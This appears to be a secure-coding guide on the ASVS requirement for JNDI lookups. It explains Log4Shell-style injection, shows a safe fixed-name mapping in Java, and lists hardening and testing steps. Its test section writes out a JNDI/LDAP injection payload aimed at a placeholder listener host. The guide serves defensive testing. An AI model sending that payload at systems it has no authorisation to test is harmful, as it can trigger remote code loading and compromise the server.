ASVS 5.0 V1.3.8 (Level 2) requires that untrusted input is sanitized before it is used in Java Naming and Directory Interface (JNDI) queries, and that JNDI itself is configured so it cannot load remote objects. The rule exists because a lookup of an attacker chosen name can lead to remote code execution, as the Log4Shell incident showed.
Why it matters
A JNDI lookup such as ctx.lookup(name) can contact LDAP or RMI servers and, on older or misconfigured runtimes, load classes from them. If name comes from a request, an attacker points it at their own server and your JVM fetches and runs their code.
How to implement it
Do not pass user input to lookup. Map user choices to fixed names:
private static final Map<String, String> DATA_SOURCES = Map.of(
"reports", "java:comp/env/jdbc/reports",
"billing", "java:comp/env/jdbc/billing");
String jndiName = DATA_SOURCES.get(choice);
if (jndiName == null) throw new IllegalArgumentException("unknown source");
DataSource ds = (DataSource) new InitialContext().lookup(jndiName);
Then harden the runtime:
- Use a current JDK. Remote class loading through JNDI is disabled by default in modern releases (the
trustURLCodebaseproperties default to false), and you should not turn them back on. - Keep logging libraries and frameworks updated, and disable message lookups where the library offers it.
- Restrict outbound traffic from application servers so LDAP and RMI calls to the internet fail.
- Set a deserialization filter (
jdk.serialFilter) to limit what JNDI can reconstruct.
How to test it
Send ${jndi:ldap://your-listener.example/a} in headers, parameters and logged fields, with a listener you control. No connection should arrive. Check for any call of lookup with a non constant argument.
Common mistakes
- Validating the scheme and missing nested or obfuscated forms.
- Relying on an upgrade without blocking egress.
- Assuming only logging code does lookups.
Quick check
What is the best way to handle a user choice that selects a JNDI resource?
Map it through a fixed table to a known name. Never pass the user value to lookup.